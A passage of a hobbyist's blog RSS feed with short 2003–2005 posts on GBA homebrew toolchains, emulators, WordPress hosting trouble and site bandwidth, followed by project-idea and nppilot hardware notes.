      <description>&lt;p&gt;My web host took down my account due to a WordPress administration script taking up all of the CPU. For some reason four copies of the &lt;code&gt;wp-admin/categories.php&lt;/code&gt; script were spinning pushing the load average above 20. It isn’t linked from any of the user scripts and there were no direct accesses in the access log, and I haven’t used WordPress since, well, the last post so it really is a mystery.&lt;/p&gt;
&lt;p&gt;I’ve upgraded to 1.5.1 and added an Apache level password on the admin area as defensive measures.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Experiments with Fuse</title>
      <link>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</link>
      <pubDate>Mon, 25 Apr 2005 08:22:16 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</guid>
      <description>&lt;p&gt;
&lt;a href=&#34;http://fuse-emulator.sf.net/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Fuse&lt;/a&gt; is a quite complete Spectrum emulator with a very good Z80 core already used in the 
&lt;a href=&#34;http://www.chuntey.com/eightyone/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;EightyOne&lt;/a&gt; Windows only ZX81 emulator. The core has many hooks in it for the various Spectrum functions that go on and is not as clean to separate out as I hoped – I’ll have to do a simple fork of it, clean out the Fuse parts and then put in the ZX81 parts.&lt;/p&gt;
&lt;p&gt;There are other raw speed issues with the at least registers being in statics and memory being accessed through helper functions that will mean it is too slow on the GBA. One thing at a time though. First I’ll get the core running under ncurses on the Mac, then in a simple text mode on the GBA, then we’ll have a look at the speed. A good thing about the ZX81 is that the basic screen mode is pure(-ish) text encoded in a simple way so it can be rendered to a console easily.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Mapping MonkeyFilter</title>
      <link>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</link>
      <pubDate>Wed, 20 Apr 2005 08:25:26 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</guid>
      <description>&lt;p&gt;I’m quite impressed with xplanet (&lt;a href=&#34;http://xplanet.sf.net/)&#34;&gt;http://xplanet.sf.net/)&lt;/a&gt;. You can give it a text file containing lat, long, and markers and generate a map of the world with people’s locations on it. Put it on a Wiki so people can edit it and you get&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://wiki.monkeyfilter.com/index.php?title=MonkeyMap&#34;&gt;http://wiki.monkeyfilter.com/index.php?title=MonkeyMap&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The tricky thing is figuring out how to do just part of the world, such as North America. The world map is a projection but you can’t zoom in on a projected view. Turns out you can put it in globe mode, centre on the area you want to record, and zoom in so that it looks flat.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Closer, closer</title>
      <link>https://juju.nz/michaelh/2005/04/closer-closer/</link>
      <pubDate>Fri, 08 Apr 2005 09:07:48 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/closer-closer/</guid>
      <description>&lt;p&gt;DKA R4 really didn’t work out. Got DKA R4-beta5 out of the Sourceforge CVS. It needed a bit of massaging but it compiled. &lt;em&gt;And&lt;/em&gt; some of the examples compile. &lt;em&gt;And&lt;/em&gt; run.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And&lt;/em&gt; my Xport arrived yesterday. It worked OK off my Linux box once I set the port to SPP from EPP.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Compile!</title>
      <link>https://juju.nz/michaelh/2005/04/14/</link>
      <pubDate>Wed, 06 Apr 2005 08:42:47 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/14/</guid>
      <description>&lt;p&gt;Getting crt0.s to work with devkitARM seems more effort than getting DKA to compile under the Mac. Got DKA release 4. Doesn’t build out of the box but built in the end. Unfortunatley my xport copy is quite broken so I can’t tell if the current problems are due to DKA 4 vs DKA 5 or the modifications I made while playing with devkitARM.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MonkeyFilter transfer</title>
      <link>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</link>
      <pubDate>Sat, 02 Apr 2005 09:56:29 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</guid>
      <description>&lt;p&gt;Changed over to WordPress and I notice my first posts were about MonkeyFilter’s transfers.&lt;/p&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;416MB after about 20 days
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;59MB in 18 hours &lt;/ul&gt;
Now:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;443MB in the first day of the month
&lt;ul&gt;
&lt;li&gt;10.25GB for March &lt;/ul&gt;
The growth for the last three months has been 8.24G to 9.06G to 10.25G or 10 to 13% per month. Compound that to 390% yearly growth. Hope not.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>GDB</title>
      <link>https://juju.nz/michaelh/2005/04/gdb/</link>
      <pubDate>Sat, 02 Apr 2005 08:56:38 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/04/gdb/</guid>
      <description>&lt;p&gt;So GDB 6.3 doesn’t compile out of the box on a Mac for a couple of reasons – it assumes the localisation library ‘intl’ source is available as well and it has compilation problems with one of the ARM protocol interfaces. The code uses a #ifdef on __linux or CYGWIN to detect a Unix platform and goes to Windows otherwise.&lt;/p&gt;
&lt;p&gt;Got GDB 6.0 with the rest of the tool chain from the GNU ARM project – &lt;a href=&#34;http://www.gnuarm.com/&#34;&gt;http://www.gnuarm.com/&lt;/a&gt;. It connects into VisualBoy fine.&lt;/p&gt;
&lt;p&gt;Next is to compare the startup files between devkitARM and DKA. I need a good debugger GUI but apparently Insight doesn’t work on the Mac. Eclipse time.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Compiling Xport for Mac OS X</title>
      <link>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</link>
      <pubDate>Thu, 31 Mar 2005 09:12:16 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</guid>
      <description>&lt;p&gt;VisualBoy Advance also has a native Mac port and has GBD support. The Mac binary is missing the debugger hooks so I’ll try compiling the SDL version.&lt;/p&gt;
&lt;p&gt;I’ve gotten one small demo to compile and run using the information at &lt;a href=&#34;http://user.chem.tue.nl/jakvijn/tonc/setup.htm&#34;&gt;http://user.chem.tue.nl/jakvijn/tonc/setup.htm&lt;/a&gt;. The critical things are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-mthumb-interwork on gcc
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;-specs=gba.specs when linking. &lt;/ul&gt;
DarkFader’s gbafix 1.03 won’t work on the Mac due to endian issues.&lt;/p&gt;
&lt;p&gt;Xport uses a derivitave of the devKit Advance crt0 which is completly different to devkitArm. -nostartfiles gcc option disables the standard crt0, but the Xport crt0 uses many symbols that DKA doesn’t support.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Xport ordered</title>
      <link>https://juju.nz/michaelh/2005/03/xport-ordered/</link>
      <pubDate>Wed, 30 Mar 2005 09:30:40 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2005/03/xport-ordered/</guid>
      <description>&lt;p&gt;I ordered my 
&lt;a href=&#34;http://charmedlabs.com&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Xport 2.0&lt;/a&gt; for the GBA today. To do things the hard way, I’ve decided to get everything going under Mac OS X 10.3.&lt;/p&gt;
&lt;p&gt;Notes so far:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Got the devkitARM r11 binaries for Mac. devkit Advance is apparently depreciated. Gives me gcc 3.4 at least.
&lt;ul&gt;
&lt;li&gt;Got the Xport Windows tools distribution from charmedlabs.com. Extracted it out and copied it over.
&lt;ul&gt;
&lt;li&gt;Got Boycott Advance v0.3.5. Apparently it’s the only emulator for Mac. No debugger support or source code.
&lt;ul&gt;
&lt;li&gt;The pre-built binaries work fine under Boycott.
&lt;ul&gt;
&lt;li&gt;Tried to re-compile the helloworld_c example. It links but doesn’t run.
&lt;ul&gt;
&lt;li&gt;The libgba supplied with Xport is unrelated to libgba from DKA.
&lt;ul&gt;
&lt;li&gt;Got the xport distribution from the sourceforge CVS. &lt;/ul&gt;
Next step is to re-build the Xport libgba and go from there.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Overscan and audio CDs</title>
      <link>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</link>
      <pubDate>Sat, 29 Nov 2003 03:08:33 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</guid>
      <description>&lt;p&gt;Right, well Freevo already has an undocumented OVERSCAN config item. Set that to slowly bring in the corners of the display. About 70×30 is right for our system, although the watermark pictures on the main screen are a bit distorted.&lt;/p&gt;
&lt;p&gt;mmpython has a problem where it stops loading any disc plugins if any fail, and unfortunatly the dvd one is at the top of the list. Shifting it to the bottom made audio CDs work.&lt;/p&gt;
&lt;p&gt;Oh, and ripping is the ‘audio.cdbackup’ plugin. So far it has taken over 10mins to encode a 5 min track, so we’ll see what it’s like in a bit.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How high’s the water, momma?</title>
      <link>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</link>
      <pubDate>Fri, 28 Nov 2003 21:30:15 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</guid>
      <description>&lt;p&gt;463MB and rising…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Six feet high and rising…</title>
      <link>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</link>
      <pubDate>Fri, 28 Nov 2003 00:24:44 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</guid>
      <description>&lt;p&gt;Data transfer due to mfx is now at 416MB, up from 357MB 18 hours ago…&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Blergh!</title>
      <link>https://juju.nz/michaelh/2003/11/blergh/</link>
      <pubDate>Thu, 27 Nov 2003 09:49:51 +0000</pubDate>
      <guid>https://juju.nz/michaelh/2003/11/blergh/</guid>
      <description>&lt;p&gt;Eat kitty!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ideas</title>
      <link>https://juju.nz/michaelh/project/ideas/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/ideas/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;Vision based copter control&lt;/li&gt;
&lt;li&gt;Automate Ethan&amp;rsquo;s room using LED strips and a stereo control
&lt;ul&gt;
&lt;li&gt;Authenticate using face recognition&lt;/li&gt;
&lt;li&gt;Play music off brik&lt;/li&gt;
&lt;li&gt;Gestures for control&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A supersized Game Boy Micro
&lt;ul&gt;
&lt;li&gt;Use a old LCD from the Brocki&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Do something with the CopterControl&lt;/del&gt; replaced with Wiicopter&lt;/li&gt;
&lt;li&gt;Auto control of the Rustler aka nppilot&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Move MonkeyFilter off a VPS&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Limited FreedomBox hosting&lt;/del&gt; juju.net.nz http and git are served locally&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Add 2 GB to orion&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Automatic backup of MTP based devices&lt;/del&gt; covered by Sweet Home&lt;/li&gt;
&lt;li&gt;Archive level offsite backup&lt;/li&gt;
&lt;li&gt;&lt;del&gt;A NZ based VPS&lt;/del&gt; covered by self hosting&lt;/li&gt;
&lt;li&gt;Piratebox&lt;/li&gt;
&lt;li&gt;Understand the SBC codec&lt;/li&gt;
&lt;li&gt;GPS logger using LPC810, dataflash, and compression&lt;/li&gt;
&lt;li&gt;Extend gobot
&lt;ul&gt;
&lt;li&gt;Add Arietta support for the new sysfs branch&lt;/li&gt;
&lt;li&gt;Test the real time side
&lt;ul&gt;
&lt;li&gt;&lt;del&gt;Write an Arduino (Pro Micro) based pulse timer&lt;/del&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;del&gt;A self balancing robot aka Citizen&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Switch personal sites to Docker
&lt;ul&gt;
&lt;li&gt;A all-in-one container so it can be reproduced&lt;/li&gt;
&lt;li&gt;Split into service containers&lt;/li&gt;
&lt;li&gt;Logging, monitoring, intrusion detection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Build Piccolo, a tiny CNC&lt;/li&gt;
&lt;li&gt;A retro computer in a FPGA with FUZIX&lt;/li&gt;
&lt;li&gt;A new bot: tiny and fast.
&lt;ul&gt;
&lt;li&gt;LiPo battery, continious rotation micro servos.&lt;/li&gt;
&lt;li&gt;Sensors?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Use my Vocore&lt;/del&gt; no, obsoleted by the ESP8266 and Arietta&lt;/li&gt;
&lt;li&gt;Use golang on an embedded system (STM32?)&lt;/li&gt;
&lt;li&gt;Use Rust on something.  Perhaps Nim?&lt;/li&gt;
&lt;li&gt;Make a handheld video game
&lt;ul&gt;
&lt;li&gt;Gamebuino has the libraries&lt;/li&gt;
&lt;li&gt;A Teensy 3.1 + Adafruit 1.8&amp;rdquo; TFT + SNES controller&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Learn how to make PCBs for physically tiny designs&lt;/li&gt;
&lt;li&gt;Indoor navigation using BLE&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Telemetry or state recording for my plane&lt;/del&gt; - done using a PixFalcon&lt;/li&gt;
&lt;li&gt;A flat retro portable computer with a good keyboard and small screen like the N100 or Z88&lt;/li&gt;
&lt;li&gt;A 
&lt;a href=&#34;http://www.spacebuckets.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Spacebucket&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A word clock&lt;/li&gt;
&lt;li&gt;Use a SDR to receive 
&lt;a href=&#34;http://mattg.co.uk/words/noaa_sdr/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;NOAA weather images&lt;/a&gt; or the 
&lt;a href=&#34;http://amsat-uk.org/beginners/how-to-hear-the-iss/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ISS&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Add a YAGI and a 
&lt;a href=&#34;http://www.wxtoimg.com/hardware/#comms&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;rotor controller&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A pan and tilt unit
&lt;ul&gt;
&lt;li&gt;For recording my plane from on the ground.  Or rockets?&lt;/li&gt;
&lt;li&gt;&lt;del&gt;To experiment with vision where it keeps pointed at the target&lt;/del&gt; - done with a webcam, OpenCV, and servo pan-tilt.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;pipoint v2
&lt;ul&gt;
&lt;li&gt;An upgrade over v1&lt;/li&gt;
&lt;li&gt;3D print the servo and device mount&lt;/li&gt;
&lt;li&gt;Pixel with remote control as the camera&lt;/li&gt;
&lt;li&gt;Dynamixel as the drive with variable velocity&lt;/li&gt;
&lt;li&gt;ROS based&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Camera mount for Revo 1/16
&lt;ul&gt;
&lt;li&gt;As a partial rollcage front and back&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Obsolete:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Build the linaro-toolchain-binaries arm-none-eabi for a armhf host&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;home-box&#34;&gt;Home box&lt;/h2&gt;
&lt;p&gt;Hardware side of a FreedomBox.  Use an ARM chip, HDDs, and a SD card cache to keep
the HDDs normally off.  Use a dev board like the 
&lt;a href=&#34;http://www.hardkernel.com/renewal_2011/products/prdt_info.php&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;ODROID-U2&lt;/a&gt; and 
&lt;a href=&#34;https://www.ponoko.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Ponoko&lt;/a&gt; to build
the case.&lt;/p&gt;
&lt;p&gt;Last time serving music to all devices was the problem.  DNLA
looks fine technically but the implementations are poor and ugly generally exposing
the architecture to the user.&lt;/p&gt;
&lt;p&gt;Bandwidth is a problem.  Most ARM chips are cellphone based and skip USB3, SATA,
and gigabit ethernet.  The i.MX6 is OK but it&amp;rsquo;s hard to resit the extra 700 MHz of
the Exynos.  Freescale did a very good job of opening the datasheets though which
should be encouraged.&lt;/p&gt;
&lt;h2 id=&#34;micro-quad-copter&#34;&gt;Micro quad copter&lt;/h2&gt;
&lt;p&gt;Play with something like the 
&lt;a href=&#34;http://www.bitcraze.se/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Crazyflie&lt;/a&gt; micro quadcopter.  Advantages are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open hardware and software&lt;/li&gt;
&lt;li&gt;Can fly inside (good for dev, snowy countries)&lt;/li&gt;
&lt;li&gt;Safe&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Positioning is tricky due to the limited lifting capacity and indoor use.  Look into
indoor positioning like&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IR beacons with ID codes, spinning quadcopter, use the gyro to calculate angles&lt;/li&gt;
&lt;li&gt;IR altimeter.  Ultrasonic is heavy, affected by draft?&lt;/li&gt;
&lt;li&gt;Dual camera ground station&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Swarms are more fun.&lt;/p&gt;
&lt;h2 id=&#34;reversing-the-fitbit-one&#34;&gt;Reversing the fitbit one&lt;/h2&gt;
&lt;p&gt;It&amp;rsquo;s a nice gadget but in the spirit of &amp;ldquo;you don&amp;rsquo;t own it unless you can hack it&amp;rdquo;,
reverse the USB protocol and extract the step count data over Bluetooth.&lt;/p&gt;
&lt;h2 id=&#34;record-all-the-things&#34;&gt;Record all the things&lt;/h2&gt;
&lt;p&gt;Over measure everything. Record data from all the trackers I carry and use like&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;fitbit&lt;/li&gt;
&lt;li&gt;Phone&lt;/li&gt;
&lt;li&gt;Laptops&lt;/li&gt;
&lt;li&gt;TV&lt;/li&gt;
&lt;li&gt;XBOX&lt;/li&gt;
&lt;li&gt;Coffee machine&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Measure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Location&lt;/li&gt;
&lt;li&gt;Time spent using&lt;/li&gt;
&lt;li&gt;Level of activity (accelerometers?)&lt;/li&gt;
&lt;li&gt;Pages visited, games played, shows watched, songs listened to&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Derive:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Leisure time&lt;/li&gt;
&lt;li&gt;Project time&lt;/li&gt;
&lt;li&gt;Wasted time (incessant checking of hacker news&amp;hellip;)&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Streaks&amp;rdquo; by geofencing things like the gym and recording if something is visited to plan&lt;/li&gt;
&lt;li&gt;Popularity of artists over time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Could use power draw for devices that can&amp;rsquo;t be self instrumented.&lt;/p&gt;
&lt;h2 id=&#34;scattertemp&#34;&gt;Scattertemp&lt;/h2&gt;
&lt;p&gt;An easy, cheap way of measuring temperature across a vineyard.&lt;/p&gt;
&lt;p&gt;A box that has a year battery life.  Waterproof, robust.  Replacing the battery
on damage is fine.&lt;/p&gt;
&lt;p&gt;Use the camera and flash on a smartphone for communication.  Photodiode and LED
on the unit to reply.  Keeps the unit
waterproof.  Flash the flash for transmit, decode the flash recorded via the
camera.&lt;/p&gt;
&lt;p&gt;Have simple hand signal checks.  Swipe hand past, back, past, and hold to get status.
Use interrupting sun or torch on the same light sensor as for phone communication.&lt;/p&gt;
&lt;p&gt;Place in the vineyard.  Press &amp;lsquo;Record&amp;rsquo; on the phone.  Phone flashes the &amp;lsquo;get ID&amp;rsquo; command, records returned ID.  Takes GPS position, records in database with nickname.&lt;/p&gt;
&lt;p&gt;Saves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Button: no sealing or custom case&lt;/li&gt;
&lt;li&gt;Custom configuration device&lt;/li&gt;
&lt;li&gt;Custom interface for configuration&lt;/li&gt;
&lt;li&gt;Barcode of ID&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;respin&#34;&gt;Respin&lt;/h2&gt;
&lt;p&gt;Easier Spin.  Control Rhythmbox over the dbus API.  Have three playlists - Warmup, Respin, and Warmdown.  Default workout time that can be bumped.&lt;/p&gt;
&lt;p&gt;Clap for Next.  States:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Warmup: means start&lt;/li&gt;
&lt;li&gt;Workout: means pick another song&lt;/li&gt;
&lt;li&gt;Warmdown: means one more workout song&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Always shuffle.  Never use the same song twice in a run.  Record past songs to give variety.&lt;/p&gt;
&lt;p&gt;Group songs by BPM/style?  Two similar, then move on?&lt;/p&gt;
&lt;p&gt;Use a Pulseaudio tap for echo cancellation?  Beep at minute intervals for timing?&lt;/p&gt;
&lt;p&gt;Use a webcam for gestures?  Raise/lower volume?&lt;/p&gt;
&lt;p&gt;Bonus points: fit songs within a minute of workout time.  Calculate all combinations where |total play time - workout time| &amp;lt; 1 m.&lt;/p&gt;
&lt;h2 id=&#34;pdp-blinking-lights&#34;&gt;PDP blinking lights&lt;/h2&gt;
&lt;p&gt;Do a PDP 11/20 style 
&lt;a href=&#34;http://www.retrotechnology.com/pdp11/11_panel_2.jpg&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;front panel&lt;/a&gt; with the black glass and 70s purple, use LEDs,
drive using a BeagleBone, hook to the internet.&lt;/p&gt;
&lt;p&gt;Design and have 
&lt;a href=&#34;http://www.ponoko.com/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Ponoko&lt;/a&gt; cut out of clear acrylic.  Etch the labels.&lt;/p&gt;
&lt;p&gt;The I/Os are 3.3 V and 8 mA.  Add some tricolour LEDs.  Hook into the PWM.&lt;/p&gt;
&lt;p&gt;Bonus points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Multiplex the LEDs.  Needs a kernel driver&lt;/li&gt;
&lt;li&gt;Add some switches that do ???&lt;/li&gt;
&lt;li&gt;Hook into the scheduler&lt;/li&gt;
&lt;li&gt;Email notification&lt;/li&gt;
&lt;li&gt;Solar charge/discharge notification&lt;/li&gt;
&lt;li&gt;Adapt the Linaro kernel.  Add low power states.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>nppilot</title>
      <link>https://juju.nz/michaelh/project/nppilot/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://juju.nz/michaelh/project/nppilot/</guid>
      <description>&lt;p&gt;Some things to try as part of fiddling:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using golang as the main language&lt;/li&gt;
&lt;li&gt;Using libmaple instead of the ST libraries&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;investigation-stages&#34;&gt;Investigation stages&lt;/h2&gt;
&lt;p&gt;[[nppilot/boottime]]&lt;/p&gt;
&lt;h2 id=&#34;parts&#34;&gt;Parts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;CPU: Arietta 
&lt;a href=&#34;http://www.atmel.com/devices/SAM9G25.aspx&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;G25&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;3.3 V only.&lt;/li&gt;
&lt;li&gt;GPIO pins are 8 mA up to 3.6 V&lt;/li&gt;
&lt;li&gt;85 mA @ 5 V&lt;/li&gt;
&lt;li&gt;On board NCP1529 as 5 V regulator.  Specified 2.7 to 5.5 V&lt;/li&gt;
&lt;li&gt;Watchdog&lt;/li&gt;
&lt;li&gt;Serial: +3V, 5V, RX, TX, WKP, GND&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GPS: Sparkfun 
&lt;a href=&#34;https://www.sparkfun.com/products/8975&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;LS20031&lt;/a&gt; (MC-1513)&lt;/li&gt;
&lt;li&gt;IMU: Drotek 
&lt;a href=&#34;http://www.drotek.fr/shop/en/home/42-mpu6050-gyro-accelerometer.html&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MPU6050&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;3.3 V, I2C, drivers/iio/imu/inv_mpu6050&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Receiver: FrSky 
&lt;a href=&#34;http://www.frsky-rc.com/product/pro.php?pro_id=64&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;TFR4&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;5 V+.  PPM output.  G25 I/O lines can interrupt on change.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;LCD: 
&lt;a href=&#34;https://www.olimex.com/Products/Modules/LCD/MOD-LCD3310/open-source-hardware&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;MOD-LCD3310&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;3.3 V, SPI + control, 
&lt;a href=&#34;https://github.com/notro/fbtft&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;driver&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;pcd8544 based?  Or more recent?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Serial: Sparkfun 
&lt;a href=&#34;https://www.sparkfun.com/products/9717&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;FTDI&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;GND  CTS  VCC  TXD  RXD  RTX&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unknown&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arietta power supply&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;at91g25-tc-unit&#34;&gt;AT91G25 TC unit&lt;/h1&gt;
&lt;p&gt;There&amp;rsquo;s bits of a driver under &lt;code&gt;drivers/misc/atmel_tclib.c&lt;/code&gt; and &lt;code&gt;include/linux/atmel_tc.h&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Counter mode has two capture registers that can trigger from a TIOAn line.  They are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TIOA0: PA21&lt;/li&gt;
&lt;li&gt;TIOA1: PA22&lt;/li&gt;
&lt;li&gt;TIOA2: PA23&lt;/li&gt;
&lt;li&gt;TIOA3: PC2&lt;/li&gt;
&lt;li&gt;TIOA4: PC5&lt;/li&gt;
&lt;li&gt;TIOA5: PC12&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;development-environment&#34;&gt;Development environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;del&gt;GCC 4.8 with gccgo for arm-none-eabi&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;OpenOCD works inside VMWare&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;del&gt;OpenOCD plus Signalyzer Lite works&lt;/del&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CopterControl basics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CopterControl programmer works&lt;/li&gt;
&lt;li&gt;Serial to JSC cable built&lt;/li&gt;
&lt;li&gt;Send and receive serial over the main port&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Command:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Can build and run Mini XPlus kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Communications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;STM32-H103 shows as a USB CDC device&lt;/li&gt;
&lt;li&gt;Measure latency and jitter against x86&lt;/li&gt;
&lt;li&gt;Measure latency and jitter against XPlus&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using golang:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;del&gt;Build for arm-none-eabi&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Interfacing with C functions&lt;/li&gt;
&lt;li&gt;Interfacing with C types&lt;/li&gt;
&lt;li&gt;When the runtime is needed&lt;/li&gt;
&lt;/ul&gt;
